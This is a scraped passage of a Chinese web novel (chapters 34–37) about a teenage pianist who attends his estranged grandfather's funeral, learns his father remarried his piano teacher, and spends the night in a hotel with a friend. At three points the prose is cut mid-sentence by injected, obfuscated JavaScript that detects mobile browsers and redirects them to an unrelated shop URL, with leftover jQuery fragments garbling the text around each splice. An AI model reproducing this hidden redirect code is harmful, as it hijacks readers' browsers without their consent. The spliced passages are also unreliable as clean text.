孔栩奇怪地看他一眼:“这么惊讶干什么,你不是早知道了。” 何斯清对孔栩说:“下午有点事,我给你请了假,你跟我一起走。” 孔栩纳闷:“什么事?” 何斯清轻声说:“爷爷去世了。” 孔栩“哦”了一声,反应却非常平淡:“好吧,我收拾一下书包。” 他一只胳膊不方便,邱以星帮他收拾好,给他拎到何斯清手里,何斯清便带着孔栩匆匆离去,孔栩走前还跟他挥了下手:“拜拜。” 邱以星笑不出来:“拜拜。” 不用给孔栩打饭,邱以星食欲全无,又重新趴回桌子上。 窗外不知何时聚拢一圈乌云,关了灯的教室尤显得昏暗,困到极点的邱以星刚闭上眼睛,一下就被扯进一道黑暗的深不见底的洞穴,意识也被吞没,很快就睡了过去。 天阴沉沉的,如同一块乌黑的墨缓缓地洇开,天地宛若巨笼,将行色匆匆的人囚困其中。 气压低,空气也是黏黏的,令人感到浑身不适,孔栩坐在副驾驶,听何斯清说:“听说是早上没的,你奶奶早上叫他起来吃早饭,他一直不做声,过去一看,才发现没气了。刚刚你……孔嘉年给我打电话,告诉我的。” 孔栩:“嗯。” 车在高速上平稳地行驶,距离孔栩爷爷的家有六十多公里,开车需要半个多小时,何斯清说:“你知道他是你爸爸了?” “才知道。”孔栩厌弃地扭过头,看向窗外,“我不想提他。” 何斯清说:“我不是故意瞒着你。” 孔栩:“我知道,你知道我恨他,怕我跟他吵架。” 何斯清欲言又止,风刮起来了,四野的大树摇摆起身躯,好似在跳什么驱魔之舞。 一颗雨点砸在挡风玻璃上,啪嗒一声,继而啪嗒啪嗒声连成一串,大雨骤降,唰的一下倾盆而至,滚滚的雨水将视线冲得变形,孔栩眨了下眼睛,他想,雨这么大,不知道邱以星有没有带伞。 何斯清和孔嘉年离婚后,何斯清是一个人独自抚养孔栩长大的,其间苦楚自不必说,她娘家人走得早,只有一个妹妹,何斯清离婚那年她大学才毕业,对姐姐来说不成为负累已经算是好事,没有再多的余力帮衬她。 孔嘉年的父母,孔栩喊爷爷、奶奶的,他对他们并无任何感情可言。他们从未带过自己,一年到头能看见一次已经足够频繁,他人生未满十六,满打满算加起来的见面次数不过十六,扣去他年幼不记事,跟他们的关系甚至不如与班里的同学亲近。 听闻爷爷去世的噩耗,孔栩也没什么沉痛感触,一个与他有血缘关系的陌生人离开了活人的世界而已。 血缘不能代表亲疏远近,有的人即使跟他流着一样的血也形容陌路,而有的人本与他素不相识,却愿意对他施以援手。 孔栩是个执拗的人,他认定的想法是他一刀一刀刻在心里的圭臬,极难更改。 他从前觉得跟人相处是件劳累且无用的事,为什么要那么麻烦地结交朋友,时间都不够他用的,有闲聊的时间他的基本功大概早练完了。 可在他突然请假的下午,跟他玩的好的那几个人,纷纷给孔栩发信息,问他下午怎么请假了,是不是身体不舒服之类。 即使他并没有感到不舒服,也仍然被安慰到了。 下高速之后,是一段窄小的沥青路,两侧都是乡间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019382|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景色,雨水没有丝毫减弱的趋势,再往里车就开不进去了。何斯清带着孔栩在距离大门五十米的地方下了车,两人一路狂奔,可头上身上还是湿透了。 大门口的屋檐下站在正在吸烟的孔嘉年,孔嘉年的脸没有孔栩初见他时那样端正帅气,无端老了几岁,胡子拉碴的,孔栩旁若无人地经过他,走进了屋子里。 遗体就摆在堂屋,用一块白布罩着。 孔栩猝不及防与遗体打了照面,心里咯噔一声,随即又见到面色灰败,眼睛红肿的奶奶,把差点脱口而出的话给憋了回去。 孔嘉年已经给家里的亲戚朋友都打过电话,没想到第一个来的竟然是何斯清。 何斯清在檐下劝他少抽烟,对身体不好,孔嘉年立即像受了委屈的小孩,揉了揉眼睛:“我本想今年接他们去我那的,没想到……” “节哀。”何斯清拍拍他的肩膀,进屋找孔栩,也同样被布置成灵堂模样的屋子吓了一跳。 孔栩不知道说些什么,只好靠墙站着。 风冷冷地吹过燃烧的倒头纸,空气里有股难闻的气味,孔栩有些无法忍受,刚想绕过灵堂去其他房间坐着,奶奶叫住他:“孔栩,给你爷爷磕个头。” 孔栩这辈子没给人磕过头,不想磕,他看向何斯清,眼里有询问的意味,何斯清朝他点点头,孔栩咬了咬牙,对着遗体鞠了一躬。 奶奶咄咄逼人:“孔栩,给你爷爷磕个响头,你爷爷去世了,你是他的大孙子!” 孔栩喉咙发痒,那些密密麻麻刺人肺腑的句子就要爆发,何斯清及时按住他肩膀,对他奶奶说:“外面淋雨了,他身体不太舒服,我带他去擦擦。” 说完便推着孔栩离开,何斯清低声说:“磕个头没什么,人都已经不在了。” “你想说‘死者为大’是吗?”孔栩说,“他没资格让我给他磕头,死了也不行,在我这,死了也不能将往事一笔勾销。” 何斯清知道他倔脾气一上来,谁都奈何不了,她不想在这个节骨眼上额外生出是非,便说:“随便你,我们晚上就走,等会人来了你别再这样,省得人说你不识礼数,没有教养。” “知道了。”孔栩闷闷地回答。 人渐渐多了起来,孔栩也被带出去见人。 孔守丰年逾七十,嘎嘣一声猝死,死得突然,不能说早逝,可也没有活够本。 同村的亲戚以及有些交情的,都赶过来,有人低声啜泣,有人在安慰孔嘉年和奶奶,还有人正用好奇的目光打量着孔栩他们娘俩,孔栩满脑充斥各种各样的声音,他觉得有些烦,忽然间手背被人轻轻碰了一下。 孔栩一看,是个七八岁扎着两个小辫的小丫头。 小丫头长得灵秀可爱,不知道是哪户亲戚带来的,她轻声喊了孔栩一声:“哥哥。” 孔栩由她攥着食指:“嗯。你叫什么名字。” “我叫孔馨,孔子的孔,温馨的馨。”孔馨莫名其妙地说,“我妈妈也会弹琴,她说你弹得很好。” 她认识自己么?孔栩诧异:“你爸妈呢?” 孔馨便松开孔栩的手指,朝一旁的孔嘉年扑过去:“爸爸。” 35. 第 35 章 孔栩后来每回想到自己质问孔嘉年“你是不是想跟我妈复婚”,都很想一巴掌把自己拍晕。 他才知道,孔嘉年和何斯清不一样,孔嘉年早已经再婚。 这个叫孔馨的孩子跟孔嘉年的鼻子与嘴唇如出一辙,眼睛滴溜溜的,又圆又大,想必遗传自她母亲。 孔馨抱住孔嘉年的大腿,撒娇让孔嘉年抱他,孔嘉年忙着招呼来客,可还是一把将小闺女抱起来,孔馨便将脸埋在孔嘉年的肩膀,眯起眼,挑衅般看着孔栩。 ——孔栩觉得那是个挑衅的眼神。 孔栩的呼吸变得很快,好像有什么在用力挤压他的肺,令他感到呼吸困难。 他立刻背过身,眼眶一下就湿了,不明所以的情绪在他内心冲荡,他不在乎有没有爸爸,可为什么看到这一幕会令他这么难过? 他想去找何斯清,他不明白为什么何斯清带他来这里,他跟这些人一点瓜葛也没有,也不想有什么瓜葛。 孔栩这么想着,心底的那一丝委屈却始终无法消散,他只好找到一个小小的角落,蹲下身,拿出手机看时间。 时间过得真慢,孔栩不知道要做什么,过了一会儿,那个小丫头估计是没人陪她玩,又来找孔栩。 孔栩装没看见,孔馨便趴在他肩膀,柔柔地喊他:“哥哥。” “干什么?”孔栩不耐烦。 “哥哥,”孔馨说,“我们来玩捉迷藏好不好。” 他满怀恶意地说:“你爷爷死了,你还有心情玩捉迷藏。” 孔馨这个年纪已经知道什么是“死亡”了,她对死亡没有什么惧意,反而说:“没关系的,妈妈说爷爷只是早一步去天上了,我只是等一等。等到跟爷爷差不多大的岁数,就可以跟他见面了。” 说完她缺了两个大门牙的嘴噗嗤一笑:“爷爷本来就老,不知道他那时候会不会老得腰都直不起来呀。” 孔栩听完沉默了,觉得自己有些不尊重逝者了,还比不上一个小丫头。 “你爸妈他们,对你好吗?”孔栩问孔馨,“你妈妈也会弹琴?” 孔馨如实说:“好的呀,妈妈教我弹琴的,可我弹不好,我更喜欢唱歌。” 孔栩有些好奇,问孔馨:“你妈妈呢?” 孔馨说:“妈妈说她身体不舒服,让我跟着爸爸先来。” 孔栩沉默了一会儿,不知道该跟她说些什么,继续问她的家庭?显得自己像个窥探他人幸福生活的可怜小丑。 “你是怎么知道我的?”孔栩半晌后问道。 孔馨想了想,回答说:“我妈妈跟你拍过合影,我见过你的照片。” “哪一张?”孔栩越发奇怪,如果拍过他怎么会丝毫不知情? 孔馨说:“你抱着奖杯的那张。” 孔栩:“我见过你妈妈?” 孔馨:“我妈妈教过你弹琴的,你不认识她吗?” 孔栩愣了一下,没听懂似的,追问说:“你妈妈教我弹琴,什么时候的事?你妈妈叫什么名字?” “我妈妈姓易,”孔馨说,“她叫易姝心。” 此时一阵穿堂风掠过他的身体,孔栩淋了雨,打了个冷战。 他四肢冰凉,胸口却滚烫,脑子有些转不过来了,握着孔馨的两臂:“你说什么?易姝心是你什么人?” 孔馨有些害怕地说:“我妈妈呀……我最喜欢我妈妈了。” 何斯清带易姝心来到孔栩面前时,孔栩不过六岁,何斯清自认能力有限,无法教他,于是给他请了另一位在此领域颇有声名的老师。 易姝心高贵美丽,举止优雅,是孔栩最为敬爱的钢琴老师,每周易姝心会上门两次,孔栩全心全意地相信她,风雨无阻,学了十年,直到初三快中考那会儿课程才停下来,易姝心的工作地点发生变化,她不能继续教孔栩,但保证他如有需要,随时随地可以给她打电话。 孔栩曾经也困惑过,易姝心这样厉害的钢琴家,学费极为高昂,并非何斯清这样普普通通的高中老师一人工资可以负担得起,更何况她是上门教学,哪会有这种级别的老师上门辅导学生,他一度以为是自己太过优秀,令易姝心不忍放弃,以至于降低标准。 如今来看,是另有隐情了。 易姝心和孔嘉年这两个八竿子打不着的人竟然是一对儿,还有个女儿。 孔栩忽然明白为什么何斯清要带他来这了,因为这是孔栩欠他们的。 在他不知情的情况下,他已经欠下孔嘉年一笔难以偿还的惊天巨债。 那瞬间,孔栩心中是一片无边无际的茫然。 他抬眼看向周遭,乌泱泱的人群,谈话声,啜泣声,还有一股怪异的气味,不知是谁身上带来的,他闻了到气味后胃里一阵紧缩,想吐。 这时他听见有人叫他的名字,孔嘉年远远地喊他:“孔栩!” 何斯清见他没反应,也跟着喊了一声:“孔栩,过来啊。” 孔栩麻木的脚尖动了一下,周围的视线如软刺一般扎在他身上,不疼不痒只是膈应。 何斯清揽住他肩膀,轻轻捏了一下,低声在他耳边说:“孔栩,就今天这回,你爸让你去跟他那边的亲戚聊聊,他就你一个儿子,以后还是要走动的,今天这日子别搞得大家都难看,妈妈拜托你好不好。” 她太了解他,毕竟十月怀胎,自己的种什么德行她一清二楚,知道他一直对孔嘉年怀恨在心,所以没让孔嘉年直接认他,而是采用迂回战术试图攻破他的心防,不过这招不管用,被他早早拆穿,眼下也不是闹翻的时机,她相信孔栩有那么点气度,是个识大体、有分寸的人。 于是孔栩挥开何斯清的手臂,朝她一笑:“我知道了,妈妈。” 他没去孔嘉年身边,而是径直走到那张盖着白布的遗体前,扑通一声跪下了。 倒头纸继续燃烧着,孔栩在袅袅的烟气中磕了一个头:“爷爷,我是孔栩,愿您的灵魂安息,一路走好。” 周围的人声静默下来,奶奶掩着泪眼一下呆住了,震惊于孔栩的回心转意。 他的眼睛被熏得发红,单薄的肩膀暗自发着抖,继续说:“毕竟除了姓氏和一半血缘,我跟你们家没有半点关系,我磕的这个头,算是 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是啊,他要去哪儿呢,孔栩也不知道。 半晌后,孔栩眨了一下眼睛,嘴里说:“师傅,我想回学校。” “你学校在哪儿?” “岚江市一中,”孔栩轻声说,“有点远,师傅,麻烦您了。” “不远,路上我能稍人吧?”师傅说,“那边有纸,你擦擦脸。” “都行,谢谢。” 一路上人来了又走,走了又来,孔栩一直安静地闭着眼,好在司机师傅不是什么坏人,不然把他卖了他都不知道。等到校门口时,已经是下午五点多,即将放学的时间点。 孔栩下车后,多给了师傅一笔打赏,然后冒着雨去了对面的旧书店。 破天荒的,旧书店竟然挂着“今日不营业”的牌子,孔栩吃了个闭门羹,他坐在门前的台阶上,看路灯接连亮起,而后陆陆续续有学生放学出来了。 他枯坐在此地,看雨丝银色链子一般丝滑地不绝如缕地坠下,雨还有多久停呢? 刚刚还满腔沸腾的热气在此刻被凉风一吹,什么都不剩下,只有缓缓上升的无助与煎熬。 孔栩不想回家,也不想去琴房,唯一想去的旧书店却不欢迎他。 他像个孱弱单薄的幽灵,在街头漫无目的地乱转。 孔栩好像在等待,等待什么具体也说不上来,或是雨停,或是内心的平静,等了仿佛有一个世纪那么久,却又仿佛只有短短的一瞬间,他听到有人急切地叫他:“小木鱼,你怎么在这?” 一把黑色的大伞倏地倾斜过来,将这人身后的路灯挡住,孔栩只看到他挺拔的剪影,不过他已经率先认出他的声音,孔栩揉了一下湿润的眼角,明白过来,或许他等的就是这一刻。 “邱以星,”孔栩站起身,他用力地撞进邱以星怀里,左手环住邱以星的背,压抑许久的眼泪顿时流了下来,又因不知道说些什么,只好一遍遍重复他的名字,“邱以星,邱以星……” 36. 第 36 章 邱以星的心都要被他喊碎了,顿时方寸大乱,整个人僵硬得不敢乱动,没撑伞的那只手虚虚地落在孔栩的后背,他摸到孔栩的肩胛骨正不住地颤抖。 发生什么事了,为什么这样伤心? 邱以星的疑问堵在了嗓子眼,孔栩淋了雨,头发湿漉漉的,衣服也是湿的,当务之急还是洗个热水澡,把衣服换了,免得冻感冒。 可孔栩搂他搂得太紧,而邱以星某种程度上又非常享受孔栩的拥抱,他用自己干燥的袖子擦孔栩的头发,擦得半干后,见他情绪稍微平复了一些,对他说:“回家吗?” 孔栩瓮声瓮气:“不回。” 他身上沾上邱以星的体温,仍旧埋在邱以星的肩膀,想到孔馨趴在孔嘉年肩膀的样子,牙齿恨恨地一磨,搂邱以星搂得更紧了。 大伞将他们严严实实地罩住,大家都忙着回家,没人注意到他们,孔栩说:“邱以星,我不想回家,我再也不想回家了。” 邱以星喉咙动了一下,他无法不经思考就说出“要不你来我家”的话,因为他也不想回家,更不想把孔栩带到自己也不喜欢的家里。 孔栩终于抬起头,下睫毛上还挂着晶莹的泪滴,想了个馊主意:“我从旧书店的院子翻进去吧,我跟老板打声招呼。” “他临时住这的,生活用品都不全,你难不成还想在这睡一觉?”邱以星握住孔栩冰凉的手,“附近有住的地方,我们去问问,找个钟点房洗个热水澡也行。” 孔栩便应了一声,小旅馆邱以星怕不干净,找到一家看着就相当有逼格的连锁酒店。 酒店前台找他们要身份证,再让他们给家长打个电话确认一下,孔栩不想给何斯清打电话,于是把电话打给了旧书店老板,听说了孔栩的要求,他不禁咋舌:“好小子,你才十六就带人住酒店了,你可真是学习爱情两手抓。” “你胡说八道什么,”孔栩脸噌的一下红了,“我跟我妈吵架了,不想回家而已!” 老板呵呵一笑,心很大地说:“知道了,我给他们说一声。” 不知道他说了什么,前台看这两人的眼神都柔和起来,把房卡递给他们,又对他们说有什么需求可以打房间里的电话。 孔栩一边接过房卡转身,一边狐疑地低声问老板:“你说什么了?” “我说你俩是兄弟,爸妈离婚,一人带走一个,你住校手受伤没人照顾,他大老远地过来看你,没地方住只好住酒店……嘿嘿,我编得挺像样吧。” “兄弟?”孔栩说,“亏你想得出来。” “那可不。你们两个注意安全,你也别跟家里人闹太僵,又没独立,吃穿用度还不是靠家里人,”老板说着便又教育起来,“翅膀还没硬呢,别想着飞走。” “知道了,我只是想冷静冷静。”孔栩回他说,“先不说了。” 房费是邱以星付的,孔栩没有多少可支配的金钱,付过车费就所剩无几,幸好还有邱以星,他再次在心中感叹。 两人一同进了屋,孔栩没料到邱以星会陪自己,他问:“你不跟你爸妈说一声吗?” “说了,说晚上在同学家住一宿。” “邱以星,感觉你被我带坏了,夜不归宿还说谎。” 孔栩坐在床上,房间只有一张床,他认为两个男生没有必要订标准间,可没想到床只有一米三,他的注意力被窄小的床吸引了,他问邱以星:“你睡相怎么样?别半夜给我踹下去了。” “我才怕你踹我下去。”邱以星说,“先去洗澡,穿浴袍把是衣服换下来,我拿吹风机给你吹吹。” 孔栩有些犹豫,才觉得住在外面这么麻烦:“我没有内裤换。” “我去楼下便利店看看有没有一次性内裤,你先洗。”邱以星摸了摸孔栩的头发,“还有你支具能不能沾水?方便一个人洗澡吗?” 孔栩:“没事,我把手举起来就行,就是洗得慢。” “头发也方便吗?” 孔栩:“我这段时间都去理发店洗头……应该没事吧,随便冲一下就行了。” 邱以星想了想:“那你等我回来帮你洗头,冲一下洗得干净吗?” 孔栩忽然欠揍地冒出一句:“你太贤惠了邱以星,谁有这个福气把你娶回家啊。” “还说。”邱以星作势要揉弄他的脑袋,孔栩连忙往浴室跑,声音被关在浴室门内,显得失真:“不说了,你记得帮我买内裤!” “不买了,让你挂空挡。” “对不起我错了,帮帮我吧,”孔栩小脸红扑扑的,又打开门,央求说,“邱以星你最好了,全天下最好的邱以星!” “你改备注了没?” “我马上改!”孔栩答应得干脆,“我发誓,一辈子都备注这个名。” 邱以星这才罢休:“你可要说话算话啊。” “一定一定。”孔栩连连答应,看见邱以星下楼了才放心去洗澡。 他洗完澡出来,邱以星已经把他的两件上衣和一件裤子吹得半干,拿衣架晾了起来,甚至还把他脱在一边的鞋外面的一圈泥也刷干净了,孔栩的脸有些发烫,他就不该说邱以星贤惠,越说怎么还越起劲了。 “来,洗头。”邱以星撸起衣袖,让孔栩在水池前低下头,孔栩左手按住冰凉的池沿,垂下头,邱以星用热水将孔栩的头发打湿,他湿漉漉的头发闪动着漆黑的光泽,白色浴袍将他半个手掌遮住,只见细长的手指微微用力,指甲盖显现出淡淡的粉色。 邱以星无端冒出一个念头:这不科学吧,为什么他的手指这么细,还能把琴弹得那么好呢? 孔栩突然囔囔,使劲拍邱以星的手:“哎哎哎我眼睛进水了!邱以星!” 邱以星收回一脑袋的胡思乱想,好在已经把护发素冲干净了,孔栩仰着脸任凭邱以星将他的湿发包住,很耐心地将他眼睛旁的水擦干。 “你想什么呢?”孔栩一边抱怨,一边对着镜子查看自己的眼睛。 “没事吧?”邱以星也凑上来看,有点红,也可能跟刚刚哭过有关系,还带着一丝潮湿。 孔栩闭了闭眼睛,又睁开,邱以星的脸近在咫尺,几乎能透过他的瞳孔看到自己的脸,孔栩偏过头:“没事。” “别动,我看看。”邱以星捏着孔栩下巴,指腹轻轻碰了碰他的眼角,孔栩的眼珠黑白分明,直勾勾盯着人看的时候仿佛能摄人心魂,邱以星心跳漏一拍,喉咙动了动,“嗯,是没什么事。” 孔栩往后一退:“我都说了没事,我去吹头发,你也赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031298|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗个澡,身上都弄湿了。” 孔栩率先走出浴室,片刻后传来吹风机运作的声音,邱以星俯身盯着镜子里的自己,手里还有孔栩皮肤的余温,他忽然觉得自己好无耻。 仗着孔栩一派天真什么都不懂,真无耻。 他深深地吸了口气,关上浴室门洗澡。 孔栩吹完头发,穿着浴袍直接钻进被窝,忽然闻到房间里有一股异香,他的肚子立即捧场地咕咕叫起来,他眼睛一亮,立即锁定邱以星放桌上的吃的,隔着浴室门对邱以星说:“你还买吃的了?” “嗯,”邱以星说,“你先吃。” 孔栩钻出被窝,盘腿坐在床上,刚洗了个热水澡,脱掉黏糊糊的衣服,他感觉每个毛孔都张开了,舒服得简直想在床上打滚。 他也这么做了,床又软又滑,邱以星出来就见他在床上抱着两腿翻来翻去:“干什么,你练功呢。” 孔栩:“我高兴。” 邱以星笑了笑,已经习惯了他的喜怒无常:“又高兴了。” 孔栩说完便不再滚,他坐起身,晃了晃凌乱的头发,招呼邱以星一起吃东西,邱以星在楼下便利店打包了两份照烧鸡排饭,还有一份关东煮全家福,和一大堆零食。 邱以星:“怎么不先吃,都要凉了。” 孔栩:“等你啊,两个人一起吃有氛围。” “还氛围,什么氛围?” “你看,”孔栩掀开被子,兴致勃勃地在床中间铺上几条毛巾,把零食一股脑全倒在床上,“像不像在野餐?” “像,”邱以星把鸡排饭递给他,又无奈,又觉得孔栩十分可爱,“吃吧,再不吃真凉了。” 两人吃饱喝足,孔栩撑得不能坐下,只好鼓着肚皮躺着,让邱以星把作业本拿过来让他检查,他书包落何斯清车上了,也不知道明天上课该怎么办。 邱以星这段时间都老老实实自己写作业,错误率一开始居高不下,后来慢慢就开始好转,这几天的作业竟然都全对,孔栩心说,这不是挺会学的,举一反三啊。 “我把你之前给我的笔记全背下来了,初三所有课程我也刷了三遍,最近在看本学期的网课,我想着提前学应该会有点用处。”邱以星低声说,“我有没有进步?” “进步很大,”孔栩说,“说不定下次模考能考前十。” “真的?” “假的,”孔栩敲了敲他的作业本,正色说,“这道题订正错了,再把这种题型的题拿出来多写几遍,还有这几题的思路太曲折,明明有更好的方式,你计算完一道人家已经写三道题了。” 他看一眼邱以星,邱以星垂着脸,认真听他教诲,连连点头,孔栩忽然觉得自己对他是不是太严厉太苛刻,邱以星进步这么大难道不应该夸一夸,总泼他凉水干什么。 “但是——”孔栩扬起调子,摸摸邱以星的头发,“短短时间有这么大的进步已经很棒啦。” 很像幼儿园老师夸奖小朋友,孔栩做这种事做得并不熟练,何斯清很少这样对他,所以他找不到合适的参照,有些生硬地学着电视里鼓励的语气:“继续加油,孔老师相信你哦。” 邱以星沉默了一会儿,忽然问:“所以……孔老师,我可以得到什么奖励?” 37. 第 37 章 “奖励?”孔栩有点懵,嘴唇上还沾着点饼干碎屑,犹豫不决,“这个白巧克力还剩最后一块,你吃吗?” “不吃。”邱以星把巧克力剥开塞到孔栩嘴里,顺便将那点碎屑抹了,“我想让你以后遇到什么不开心的事,也想想我吧,不要一个人哭。” 孔栩含着巧克力,愣愣地看着邱以星,邱以星继续说:“如果我今天没有看到你,你要怎么办?难道真去翻旧书店的墙?遇到这种事不能给我打个电话吗?” “我……我,”孔栩的脑子一并跟巧克力慢慢融化了,“我想打,又想你会不会不方便……” “下回告诉我吧,我对你永远方便。” 邱以星说完这句话,便拿过作业本,趴到一边闷头写今晚的作业,孔栩如果继续看他,会发现他的耳朵尖已经红到透明。 吃得太多,孔栩没一会儿就困得睁不开眼了,迷迷糊糊地睡了一会儿,忽然邱以星推了推他:“醒醒,刷过牙再睡。” “哦。”孔栩揉揉眼睛,他迷迷瞪瞪地去刷牙。 刷完牙顺势往床上一趟,孔栩早习惯家里一米五怎么躺都行的大床,一时间没注意睡在左侧的邱以星,直接压住了邱以星半边身体,孔栩忽感不对劲,忙起身往旁边挪了一下:“唔,不好意思啊。” “没关系,”邱以星也稍微让了一点,“床是挺小的。” 不过两个人高马大的男孩子睡一起,再让也让不出多少空间。 关上灯后,两个人背靠着背睡了一会儿,孔栩忽然很想翻个身,于是他小心谨慎慢慢翻转过来,右手放在被子上,眼睛睁得圆溜溜的开始想白天发生的事。 他有个臭毛病,特别喜欢复盘,又因为记性好,所有的细节点都能清晰地回忆起来,尤其在这样静谧的无人打扰的夜晚。 孔栩思来想去,越想越悲哀。 他不明白孔嘉年那个看着碗里吃着锅里的出轨男有什么好的,为什么何斯清跟他结婚生小孩,易姝心也跟他结婚生小孩。什么东西啊他,十几年不来看他一眼,一来就让他乖乖听话,他算是哪根葱。 孔栩几乎是在瞬间就做出了一个重大决定,他不会顺着何斯清和孔嘉年的心意继续学琴,他将自己曾经考虑过的所有前路统统否定,不会继续练琴,也不会选择音乐学院,更不会从事跟钢琴有关的工作。 让他们加诸于自己身上的所有梦想全都破灭吧。 孔栩要以一种自我毁灭的方式跟他们同归于尽。 可不弹琴……他能够做什么呢? 之前他还跟邱以星开玩笑,说自己不弹琴也能够过得很好,可练了十几年琴是说割舍就能割舍的吗?除此外,他甚至不知道自己喜欢什么。 太过年轻与稚嫩的孔栩不明白,人生的十字路口如此之早地出现在他眼前,一个小小的冲动的念头,就足以改变他的人生,以一种不可阻挡的方式推动他前往另一个他从未预想过的未来。 大概是孔栩睡不着的窸窣声搅扰了邱以星的好眠,邱以星此刻也翻过身,一双眼睛在漆黑的屋子里睁开,继而片刻后,视线内出现了孔栩朦胧的轮廓,他低声问:“睡不着?” “唉。”孔栩叹了口气,“我吵醒你了?” “没有,”邱以星说,“在想什么?” 靠得太近,孔栩觉得他声音羽毛似的挠得自己耳朵丝丝地痒,他抿了抿嘴,又往邱以星的方向贴近了一点:“我在想以后该干什么。如果我放弃弹琴,你会不会觉得我特别任性?” 邱以星静默了片刻,明白他今天不高兴的真正原因其实在这句话里。 “不想继续弹了?” “嗯,没劲,”孔栩越说声音越低,“没劲透了,我觉得自己像个被人操纵的人偶,没有一点自由意志,凭什么他们让我干什么,我就得干什么,把我瞒得团团转,还要让我对他们感恩戴德。” 邱以星不知如何安慰孔栩,只好伸出一只手环过来,有一搭没一搭地捋着他的脊背:“给自己一点时间好不好,再想想,现在你手伤没好,不着急。” 孔栩几乎被邱以星环在怀里,他也没觉得有什么不妥,反倒觉得安全,幽暗的环境滋生了一些奇怪的感受,邱以星的气息被放大,孔栩使劲闻了一下,话题忽然被他扯到天边去了:“邱以星,你闻起来像是在阳光下面晒了好几个小时的稻谷。” “不会又饿了吧。”邱以星被他的奇思妙想逗笑。 孔栩很想咬他一口:“你烦不烦,我是猪吗?刚吃饱就饿?” “好了好了,别想了,明早还要上学,”邱以星连忙安抚孔栩,生怕他情绪上来,一激动,他们两个就都别睡了,“我哼歌给你听。” 孔栩也正有此意,面朝邱以星,邱以星哼着上回他们一起写的曲子,曲子总体来说挺欢快,可惜只有一半,孔栩的灵光在漆黑的夜里噼里啪啦绽开了曼妙的火花,接在邱以星后面继续哼,把后半段几乎补完整了。 随后他的声音越来越微弱,呼吸声逐渐平稳,进入了梦乡。 邱以星望着熟睡的孔栩好一会儿,才无声地张开口:晚安,好梦。 早上五点半,孔栩在生物钟的作用下睁开了眼。 一夜过去,两人几乎裸裎相对,他的睡袍带子已经散得找不着北,一只大腿豪迈地架在邱以星的腰上,手里不知怎么牢牢攥着邱以星的睡袍领子,把他睡袍也扯得乱七八糟,孔栩觉得自己很像一个采花大盗在非礼人家妙龄小姑娘。 他下意识想撤回自己的腿,可忙中出乱,一不小心蹬到邱以星,邱以星皱了皱眉,一把按住孔栩的手,在他耳边沉声道:“干什么,闹钟还没响呢。继续睡。” 孔栩不敢作声,很小心地用手指将睡袍往他身上勾了勾,试图遮住他一览无余的上半身。 “还动。”邱以星的声音有几分不耐烦,直接拽过被子将孔栩一下罩住,只露出一双睁得溜圆、没有丝毫睡意的眼睛,邱以星的呼吸近在咫尺,孔栩有些别扭地在被子里晃,然后——他飞快地睁大眼睛,屏住呼吸,不动了。 半秒后,邱以星猛地起身,脸色红到几乎滴血,直奔向卫生间,砰一声关了门。 那双露在外面的眼睛眯成一条缝,孔栩的笑声掩在被子里,一开始只小声咯咯地笑,而后笑得越来越放肆:“邱以星!”他说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037003|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “生理卫生课上不是说了,男生早上这种事很正常,你不用这么不好意思,这说明你是个正常的人!” 卫生间的门又砰的一下被打开,邱以星气急败坏地冲到床头,掀开孔栩的被子,嘴里说着:“好啊,那我看看你正不正常!” “等等等等!”孔栩又慌又乱,急忙蜷缩成虾米,“我我我我当然正常了——” 可邱以星才不管他的话,于是他虚张声势地大叫一声:“啊!我的手好痛!” 邱以星的动作一顿,孔栩鲤鱼打挺从床上一跃而起,迅疾跳下床,躲到墙角,气喘吁吁地说:“停停停!别闹了,大清早的!让别人听到动静了多不好。” “你给我过来。” “我不,”孔栩使劲摇头,“你别碰我,我就过来。” 邱以星把他的拖鞋踢到他面前:“把鞋穿上。” 孔栩穿了鞋,仍心有惴惴:“邱以星,你话好好说,我比较喜欢你讲道理的样子。” 邱以星简直被他气笑了:“到底谁不讲道理?” 孔栩惹不起躲得起,只好说:“我不讲理,我闭嘴,不说了,行了吧。” 邱以星瞪他:“你就会用这一招。” 孔栩心说那不是这招管用么。 不管怎么着,邱以星转身刷牙去了,孔栩也不再招他,把衣服换了,刷完牙,跟邱以星一块背了半小时单词,然后下楼吃早饭。 房还没退,邱以星问他要不要再住一晚,孔栩迎着朝阳深深吸了口气,摇头说:“不用了,躲得了一时躲不了一世,该面对的还是得面对啊。邱以星,谢谢你,能有个暂时的避风港我已经很满足了。” “别客气。”邱以星朝他笑笑,“想吃什么。” “我请客吧,老让你付钱怪丢人的。”孔栩走在他前面,他的衣服经晨风一吹贴在了他单薄的胸膛。 “那我要吃红油小混沌,”邱以星说,“再来一碗酒酿圆子。” 